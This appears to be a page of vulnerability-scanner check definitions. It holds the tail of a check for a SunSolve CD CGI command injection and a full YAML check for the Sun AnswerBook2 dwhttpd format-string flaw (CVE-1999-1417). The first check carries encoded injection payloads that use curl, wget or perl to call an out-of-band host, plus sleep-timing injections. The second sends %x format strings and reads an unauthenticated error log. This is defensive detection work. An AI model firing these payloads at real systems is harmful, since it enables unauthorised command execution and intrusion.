    body: "step=submit&emailaddr=noctis%40example.com%7C%20%28curl%20-s%20-m%2010%20-o%20%2Fdev%2Fnull%20{{oob_url}}%20%7C%7C%20wget%20-q%20-T%2010%20-O%20%2Fdev%2Fnull%20{{oob_url}}%20%7C%7C%20perl%20-MIO%3A%3ASocket%3A%3AINET%20-e%20%27alarm%2010%3B%24s%3DIO%3A%3ASocket%3A%3AINET-%3Enew%28PeerAddr%3D%3E%22{{oob_host}}%3A{{oob_port}}%22%2CTimeout%3D%3E10%29%20or%20exit%201%3Bprint%20%24s%20%22GET%20%2F{{oob_token}}%20HTTP%2F1.0%5Cr%5CnHost%3A%20{{oob_host}}%5Cr%5Cn%5Cr%5Cn%22%3B%3C%24s%3E%27%29%20%3E%2Fdev%2Fnull%202%3E%261%20%23"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "oob_enabled && script.status != 0 && script.status != 404 && miss.status != script.status"
    store_as: oob_post

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && script_found == true"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "SunSolve CD sscd_suncourier.pl command execution confirmed: a curl/wget/perl command injected through the emailaddr field fetched the per-run OOB URL (HTTP callback received)"
      stop: true

  # ── Loop 2: time differential, once per CGI directory ─────────────────────
  - id: init-script2
    action: set_var
    var_name: script
    var_value: {status: 0, body: "", duration_ms: 0}
    loop:
      over: ["/cd-cgi", "/cgi-bin"]
      var: dir

  - id: init-miss2
    action: set_var
    var_name: miss
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: get-script2
    action: http_request
    method: GET
    path: "{{dir}}/sscd_suncourier.pl"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: script

  - id: get-miss2
    action: http_request
    method: GET
    path: "{{dir}}/sscd_noctis_{{oob_token}}.pl"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "script.status != 0 && script.status != 404"
    store_as: miss

  # Control: same injection shape with `sleep 0` (emailaddr = noctis@example.com| sleep 0 #).
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/sscd_suncourier.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "step=submit&emailaddr=noctis%40example.com%7C%20sleep%200%20%23"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "script.status != 0 && script.status != 404 && miss.status != script.status"
    store_as: ctrl

  - id: inject-sleep6
    action: http_request
    method: POST
    path: "{{dir}}/sscd_suncourier.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "step=submit&emailaddr=noctis%40example.com%7C%20sleep%206%20%23"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "script.status != 0 && script.status != 404 && miss.status != script.status && ctrl.status != 0 && ctrl.duration_ms < 3000"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: POST
    path: "{{dir}}/sscd_suncourier.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "step=submit&emailaddr=noctis%40example.com%7C%20sleep%203%20%23"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 20
    condition: "script.status != 0 && script.status != 404 && miss.status != script.status && ctrl.status != 0 && ctrl.duration_ms < 3000 && slow6.status != 0 && slow6.duration_ms >= ctrl.duration_ms + 5000"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "script.status != 0 && script.status != 404 && miss.status != script.status && ctrl.status != 0 && ctrl.duration_ms < 3000 && slow6.duration_ms >= ctrl.duration_ms + 5000 && slow3.status != 0 && slow3.duration_ms >= ctrl.duration_ms + 2500 && slow6.duration_ms >= slow3.duration_ms + 1500"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "SunSolve CD sscd_suncourier.pl command execution confirmed by timing via {{dir}}/sscd_suncourier.pl emailaddr: control sleep 0 answered in {{ctrl.duration_ms}} ms, injected sleep 6 in {{slow6.duration_ms}} ms and sleep 3 in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

Sun AnswerBook2 dwhttpd Error Log Format String

CVECVE-1999-1417
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Ports8888
Detectionset_var, tcp_connect, script, sleep, http_request, match · highest QoD 75
Feedtests/vulnerabilities/solaris/CVE-1999-1417.yaml

The dwhttpd web server of Sun Solaris AnswerBook2 (default port 8888) writes the name of a file it cannot open to its error log with the name used as a printf format string. Format specifiers in a requested URL are therefore interpreted: `%x` prints memory from the server's stack into the log, a run of `%n` crashes the server (denial of service), and crafted specifiers can let a remote unauthenticated attacker run code.

The test reads the `Server:` header of the home page and goes on only when it names dwhttpd. It then requests a missing file whose name is a random marker followed by four `%x` specifiers, and reads the server's error log through the AnswerBook2 admin page `/ab2/@AdminViewError`, which needs no login. The host is reported when the log shows the marker followed by hexadecimal values instead of the `%x` text it was sent, which proves the requested name was used as a format string. A server whose log shows the `%x` text unchanged is fixed and is not reported. When the log cannot be read or does not show the request, the host is reported from its version alone (dwhttpd 3.x, 4.0 and 4.1, the releases shipped with AnswerBook2), with a lower confidence.

The test only reads stack values into the log: it never sends the `%n` specifiers that crash the server. It adds one "could not be opened" line to the error log.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /{{ver.marker}}.%x.%x.%x.%x.END HTTP/1.0
  4. HTTP(S) request GET /ab2/@AdminViewError
  5. Parses / computes the next value with a Rhai script
  6. Checks res.words for ^[0-9a-fA-F] → finding QoD 75: Server '…': GET /….%x.%x.%x.%x.END was logged as ….….END in /ab2/@AdminViewError — the requested name is used as a printf format string.
  7. Checks ver.version for ^[34]\. → finding QoD 70: Server header '…': dwhttpd … (AnswerBook2) logs requested names through a printf format string; the error log did not confirm it (/ab2/@Adm…

References:

Feed source — tests/vulnerabilities/solaris/CVE-1999-1417.yaml
# Sun AnswerBook2 dwhttpd format string in error logging (CVE-1999-1417)
#
# Credit: version scope adapted from Greenbone's `pre2008/dwhttp_format_string.nasl`
# (GPL-2.0-only), which reads the HTTP banner and, in safe-checks mode, reports
# `^Server: *dwhttp/4.(0|1[^0-9])`; otherwise it sends `GET /` followed by 50
# `%n` and reports when the server dies.
#
# Root cause (NVD; Bugtraq "Solaris ab2 web server is junk", 1998-08-23, and
# "Sun AnswerBook2 format string and other vulnerabilities", 2002-08-01, BID
# 5384): when dwhttpd cannot open a requested file it writes
#   http-8888 [<date>] warning: send-file reports: The requested object "<path>" could not be opened!
# to its error log through vsprintf() with the requested name as the format
# string. `%x` in the URL prints stack words into the log, a long `%n` run
# crashes the server, and crafted `%n` writes can run code. The same 2002
# advisory shows the error log is readable without authentication at
# /ab2/@AdminViewError (one of the AnswerBook2 admin scripts that skip the
# admin login) and verifies the bug by requesting `/` + `%x` x 20 and reading
# the hex words back from the log. Sun patches 110531-01 / 110532-01 /
# 110537-01 / 110538-01 (AnswerBook 1.4.2 / 1.4.3, SPARC + x86) fixed the
# format string; they keep the same dwhttpd/4.1a6 version string.
#
# Proof used here (benign, read-only): only when the Server header names
# dwhttpd, request a missing file whose name is a random marker followed by
# four `%x` (stack reads, never `%n`), then read /ab2/@AdminViewError:
#   - marker followed by four hex words  → the name went through vsprintf()
#     as a format string: QoD 75;
#   - marker followed by the literal `%x` → patched (Sun patch applied): no
#     finding, even though the version string is still in scope;
#   - log not readable (admin script removed or protected) → version check:
#     dwhttpd 3.x, 4.0.x and 4.1 (3.1a4, 4.0.2a7a and 4.1a6 shipped with
#     AnswerBook2 1.1 to 1.4.x) reported at QoD 70.
# Better than the source check: (1) its banner gate looks for "dwhttp/",
# which the real header ("Server: dwhttpd/3.1a4 (Inso; sun5)") does not
# contain, so it never fires on a real AnswerBook2 server; this feed accepts
# both spellings; (2) it proves the format string is interpreted instead of
# trusting the version (a patched 4.1a6 is not reported when its log can be
# read); (3) it never sends the crashing `%n` run; (4) 3.x, which NVD lists
# (dwhttpd 3.1a4), is covered too.
uid: e493471a-0924-42b6-a1e3-a4bfc3b7c6f9
name: "Sun AnswerBook2 dwhttpd Error Log Format String (CVE-1999-1417)"
description: |
  The dwhttpd web server of Sun Solaris AnswerBook2 (default port 8888) writes
  the name of a file it cannot open to its error log with the name used as a
  printf format string. Format specifiers in a requested URL are therefore
  interpreted: `%x` prints memory from the server's stack into the log, a run
  of `%n` crashes the server (denial of service), and crafted specifiers can
  let a remote unauthenticated attacker run code.

  The test reads the `Server:` header of the home page and goes on only when
  it names dwhttpd. It then requests a missing file whose name is a random
  marker followed by four `%x` specifiers, and reads the server's error log
  through the AnswerBook2 admin page `/ab2/@AdminViewError`, which needs no
  login. The host is reported when the log shows the marker followed by
  hexadecimal values instead of the `%x` text it was sent, which proves the
  requested name was used as a format string. A server whose log shows the
  `%x` text unchanged is fixed and is not reported. When the log cannot be
  read or does not show the request, the host is reported from its version
  alone (dwhttpd 3.x, 4.0 and
  4.1, the releases shipped with AnswerBook2), with a lower confidence.

  The test only reads stack values into the log: it never sends the `%n`
  specifiers that crash the server. It adds one "could not be opened" line to
  the error log.
cves: [CVE-1999-1417]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [sun, solaris, answerbook2, dwhttpd, format-string, rce, intrusive, unauthenticated]
services: [http, https]
ports: [8888]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-1417"
  - "https://seclists.org/bugtraq/1998/Aug/209"
  - "http://www.securityfocus.com/bid/253"
  - "http://www.securityfocus.com/bid/5384"

steps:
  # A closed port leaves resp unset; the version script reads it.
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {}

  # 1 — one plain request; only its response headers are used.
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # 2 — dwhttpd/<version> in a Server: line of the header block (a page body
  #     mentioning dwhttpd is ignored).
  - id: version
    action: script
    store_as: ver
    code: |
      let out = #{ dw: false, in_scope: false, version: "", server: "", marker: "" };
      if type_of(resp.banner) == "string" {
        let head = resp.banner;
        let cut = stridx(head, "\r\n\r\n");
        if cut < 0 { cut = stridx(head, "\n\n"); }
        if cut >= 0 { head = substr(head, 0, cut); }
        for raw in split(head, "\n") {
          let line = eregmatch("^server:[ \\t]*([^\\r]*)", raw, true);
          if line.len() < 2 { continue; }
          let m = eregmatch("(^|[^a-z])dwhttpd?/([0-9][-.a-z0-9]*)", line[1], true);
          if m.len() < 3 { continue; }
          out.dw = true;
          out.version = m[2];
          out.server = line[1];
          out.in_scope = eregmatch("^(3\\.|4\\.(0|1([^0-9]|$)))", m[2]).len() > 0;
          out.marker = "NOCTIS" + rand_str(10);
          break;
        }
      }
      out

  # 3 — missing file named <marker>.%x.%x.%x.%x.END (raw %x: the server logs
  #     the name as received). Stack reads only; never %n.
  - id: inject
    action: tcp_connect
    condition: "ver.dw == true"
    port: "{{port}}"
    send: "GET /{{ver.marker}}.%x.%x.%x.%x.END HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: inj

  # 4 — the error log, readable without login on a default AnswerBook2.
  - id: init-log
    action: set_var
    var_name: log
    var_value: {}

  # A buffered log may not show the line at once.
  - id: settle
    action: sleep
    condition: "ver.dw == true"
    duration_ms: 1000

  - id: read-log
    action: http_request
    condition: "ver.dw == true"
    method: GET
    path: "/ab2/@AdminViewError"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: log

  # 5 — what the log made of our marker line.
  - id: verdict
    action: script
    condition: "ver.dw == true"
    store_as: res
    code: |
      let out = #{ evaluated: false, literal: false, words: "", log_status: "no answer" };
      if "status" in log { out.log_status = "HTTP " + log.status; }
      if "body" in log && type_of(log.body) == "string" && log.status == 200 {
        let body = log.body;
        let m = eregmatch(ver.marker + "\\.([0-9a-f]+\\.[0-9a-f]+\\.[0-9a-f]+\\.[0-9a-f]+)\\.END", body, true);
        if m.len() > 1 {
          out.evaluated = true;
          out.words = m[1];
        } else if strstr(body, ver.marker + ".%x.%x") != "" {
          out.literal = true;
        }
      }
      out

  - id: format_string_evaluated
    action: match
    condition: "ver.dw == true && res.evaluated == true"
    source: res.words
    pattern: "^[0-9a-fA-F]"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "Server '{{ver.server}}': GET /{{ver.marker}}.%x.%x.%x.%x.END was logged as {{ver.marker}}.{{res.words}}.END in /ab2/@AdminViewError — the requested name is used as a printf format string."
        remediation: "AnswerBook2 is end of life: remove it (or stop its dwhttpd server on port 8888). If it must stay, apply Sun patch 110531/110532 (SPARC) or 110537/110538 (x86), remove the unauthenticated @Admin* scripts and restrict access to the port."

  # 6 — log not readable / probe line absent: version alone. A log that shows our %x text
  #     unchanged means the fix is installed: no finding.
  - id: vulnerable_version
    action: match
    condition: "ver.dw == true && ver.in_scope == true && res.evaluated == false && res.literal == false"
    source: ver.version
    pattern: "^[34]\\."
    on_match:
      stop: true
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Server header '{{ver.server}}': dwhttpd {{ver.version}} (AnswerBook2) logs requested names through a printf format string; the error log did not confirm it (/ab2/@AdminViewError: {{res.log_status}}, probe line not found)."
        remediation: "AnswerBook2 is end of life: remove it (or stop its dwhttpd server on port 8888). If it must stay, apply Sun patch 110531/110532 (SPARC) or 110537/110538 (x86) and restrict access to the port."

View these feeds on GitHub